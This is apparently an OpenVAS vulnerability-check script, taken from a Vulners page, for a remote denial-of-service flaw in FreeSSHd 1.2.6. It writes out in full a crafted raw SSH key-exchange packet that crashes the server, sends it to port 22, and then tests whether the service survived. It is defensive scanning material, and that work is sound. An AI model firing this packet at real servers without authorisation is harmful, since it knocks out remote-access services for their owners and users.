| Source | Link |
|---|---|
| packetstormsecurity | www.packetstormsecurity.org/files/108149/freesshdremote-dos.txt |
| exploit-db | www.exploit-db.com/exploits/18268 |
| 1337day | www.1337day.com/exploits/17299 |
| allinfosec | www.allinfosec.com/2011/12/25/dos-poc-freesshd-remote-denial-of-service |
###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_freesshd_remote_dos_vuln.nasl 7044 2017-09-01 11:50:59Z teissa $
#
# FreeSSHd Remote Denial of Service Vulnerability
#
# Authors:
# Sooraj KS <[email protected]>
#
# Copyright:
# Copyright (c) 2011 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_impact = "Successful exploitation may allow remote attackers to cause the
application to crash, creating a denial-of-service condition.
Impact Level: Application";
tag_affected = "freeSSHd version 1.2.6";
tag_insight = "The flaw is due to an error when processing certain requests and
can be exploited to cause a denial of service via a specially crafted packet.";
tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";
tag_summary = "The host is running FreeSSHd and is prone to denial of service
vulnerability.";
if(description)
{
script_id(902803);
script_version("$Revision: 7044 $");
script_tag(name:"cvss_base", value:"7.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
script_tag(name:"last_modification", value:"$Date: 2017-09-01 13:50:59 +0200 (Fri, 01 Sep 2017) $");
script_tag(name:"creation_date", value:"2011-12-26 15:15:15 +0530 (Mon, 26 Dec 2011)");
script_name("FreeSSHd Remote Denial of Service Vulnerability");
script_xref(name : "URL" , value : "http://www.1337day.com/exploits/17299");
script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/18268");
script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/108149/freesshdremote-dos.txt");
script_xref(name : "URL" , value : "http://www.allinfosec.com/2011/12/25/dos-poc-freesshd-remote-denial-of-service");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2011 SecPod");
script_family("Denial of Service");
script_dependencies("ssh_detect.nasl");
script_require_ports("Services/ssh", 22);
script_tag(name : "impact" , value : tag_impact);
script_tag(name : "affected" , value : tag_affected);
script_tag(name : "insight" , value : tag_insight);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
## Get SSH Port
port = get_kb_item("Services/ssh");
if(!port){
port = 22;
}
## Check Port State
if(!get_port_state(port)){
exit(0);
}
## Open TCP Socket
soc = open_sock_tcp(port);
if(!soc){
exit(0);
}
## Receive Banner
banner = recv(socket:soc, length:1024);
## Confirm the application before trying exploit
if("WeOnlyDo" >!< banner){
exit(0);
}
## Build Exploit
req = raw_string(
0x53, 0x53, 0x48, 0x2d, 0x32, 0x2e, 0x30, 0x2d,
0x50, 0x75, 0x54, 0x54, 0x59, 0x5f, 0x4b, 0x69,
0x54, 0x54, 0x59, 0x0d, 0x0a, 0x00, 0x00, 0x02,
0x7c, 0x06, 0x5a, 0x3d, 0xb5, 0xf2, 0x23, 0x0f,
0x6a, 0xed, 0x83, 0x4d, 0x36, 0xa6, 0xfa, 0x85,
0x5b, 0x1f, 0x14, 0x00, 0x00, 0x00, 0x9a, 0x64,
0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65,
0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72,
0x6f, 0x75, 0x70, 0x2d, 0x65, 0x78, 0x63, 0x68,
0x61, 0x6e, 0x67, 0x65, 0x2d, 0x73, 0x68, 0x61,
0x32, 0x35, 0x36, 0x2c, 0x64, 0x69, 0x66, 0x66,
0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d,
0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70,
0x2d, 0x65, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67,
0x65, 0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c, 0x64,
0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65,
0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72,
0x6f, 0x75, 0x70, 0x31, 0x34, 0x2d, 0x73, 0x68,
0x61, 0x31, 0x2c, 0x64, 0x69, 0x66, 0x66, 0x69,
0x65, 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61,
0x6e, 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x31,
0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c, 0x72, 0x73,
0x61, 0x32, 0x30, 0x34, 0x38, 0x2d, 0x73, 0x68,
0x61, 0x32, 0x35, 0x36, 0x2c, 0x72, 0x73, 0x61,
0x31, 0x30, 0x32, 0x34, 0x2d, 0x73, 0x68, 0x61,
0x31, 0x00, 0x00, 0x00, 0x0f, 0x73, 0x73, 0x68,
0x2d, 0x72, 0x73, 0x61, 0x2c, 0x73, 0x73, 0x68,
0x2d, 0x64, 0x73, 0x73, 0x00, 0x00, 0x00, 0x9f,
0x61, 0x65, 0x73, 0x32, 0x35, 0x36, 0x2d, 0x63,
0x74, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35,
0x36, 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x72, 0x69,
0x6a, 0x6e, 0x64, 0x61, 0x65, 0x6c, 0x2d, 0x63,
0x62, 0x63, 0x40, 0x6c, 0x79, 0x73, 0x61, 0x74,
0x6f, 0x72, 0x2e, 0x6c, 0x69, 0x75, 0x2e, 0x73,
0x65, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39, 0x32,
0x2d, 0x63, 0x74, 0x72, 0x2c, 0x61, 0x65, 0x73,
0x31, 0x39, 0x32, 0x2d, 0x63, 0x62, 0x63, 0x2c,
0x61, 0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63,
0x74, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x32,
0x38, 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x62, 0x6c,
0x6f, 0x77, 0x66, 0x69, 0x73, 0x68, 0x2d, 0x63,
0x74, 0x72, 0x2c, 0x62, 0x6c, 0x6f, 0x77, 0x66,
0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63, 0x2c,
0x33, 0x64, 0x65, 0x73, 0x2d, 0x63, 0x74, 0x72,
0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d, 0x63, 0x62,
0x63, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f, 0x75,
0x72, 0x32, 0x35, 0x36, 0x2c, 0x61, 0x72, 0x63,
0x66, 0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x00,
0x00, 0x00, 0x9f, 0x61, 0x65, 0x73, 0x32, 0x35,
0x36, 0x2d, 0x63, 0x74, 0x72, 0x2c, 0x61, 0x65,
0x73, 0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 0x63,
0x2c, 0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65,
0x6c, 0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79,
0x73, 0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69,
0x75, 0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73,
0x31, 0x39, 0x32, 0x2d, 0x63, 0x74, 0x72, 0x2c,
0x61, 0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63,
0x62, 0x63, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x32,
0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c, 0x61, 0x65,
0x73, 0x31, 0x32, 0x38, 0x2d, 0x63, 0x62, 0x63,
0x2c, 0x62, 0x6c, 0x6f, 0x77, 0x66, 0x69, 0x73,
0x68, 0x2d, 0x63, 0x74, 0x72, 0x2c, 0x62, 0x6c,
0x6f, 0x77, 0x66, 0x69, 0x73, 0x68, 0x2d, 0x63,
0x62, 0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d,
0x63, 0x74, 0x72, 0x2c, 0x33, 0x64, 0x65, 0x73,
0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63,
0x66, 0x6f, 0x75, 0x72, 0x32, 0x35, 0x36, 0x2c,
0x61, 0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x31,
0x32, 0x38, 0x00, 0x00, 0x00, 0x1f, 0x68, 0x6d,
0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c,
0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61,
0x31, 0x2d, 0x39, 0x36, 0x2c, 0x68, 0x6d, 0x61,
0x63, 0x2d, 0x6d, 0x64, 0x35, 0x00, 0x00, 0x00,
0x1f, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68,
0x61, 0x31, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d,
0x73, 0x68, 0x61, 0x31, 0x2d, 0x39, 0x36, 0x2c,
0x68, 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35,
0x00, 0x00, 0x00, 0x09, 0x6e, 0x6f, 0x6e, 0x65,
0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x00, 0x00, 0x00,
0x09, 0x6e, 0x6f, 0x6e, 0x65, 0x2c, 0x7a, 0x6c,
0x69, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xaa,
0xc5, 0x5b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5, 0xc3, 0x65, 0x79, 0x65, 0x6a,
0xd5, 0xa5, 0xfe, 0xc7, 0x79, 0xc8, 0x86, 0x65,
0xab, 0xf1, 0xce, 0xd5, 0x5b, 0x8a, 0xa6, 0x27,
0x28, 0x60, 0xe5, 0x8c, 0x6c, 0x44, 0x82, 0xc1,
0xb8, 0x30, 0x20, 0xe2, 0x70, 0x48, 0x7c, 0xf9,
0x6b, 0x5c, 0xff, 0xff, 0xff, 0xff, 0x60, 0x53,
0x4d, 0x77, 0x0a, 0x69, 0xbc, 0xc1, 0xc7, 0x19,
0x63, 0x82, 0x7b, 0xa6, 0xe3, 0xfb, 0x8a, 0x0c,
0x06, 0xf3, 0xbf, 0x64, 0xc3, 0xd4, 0x26, 0xe6,
0x7d, 0x00, 0xd9, 0x0c, 0x67, 0x9e, 0xe2, 0x63,
0x88, 0xd2, 0xef, 0x69, 0xf7, 0x35, 0x7f, 0x9b,
0x2a, 0x68, 0x8b, 0x45, 0x27);
## Sending Exploit
send(socket:soc, data:req);
## Close socket
close(soc);
## Confirm FreeSSHd is alive and responding
soc2 = open_sock_tcp(port);
if(!soc2){
security_message(port);
exit(0);
}
banner = recv(socket:soc2, length:1024);
if("WeOnlyDo" >!< banner){
security_message(port);
}
close(soc2);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation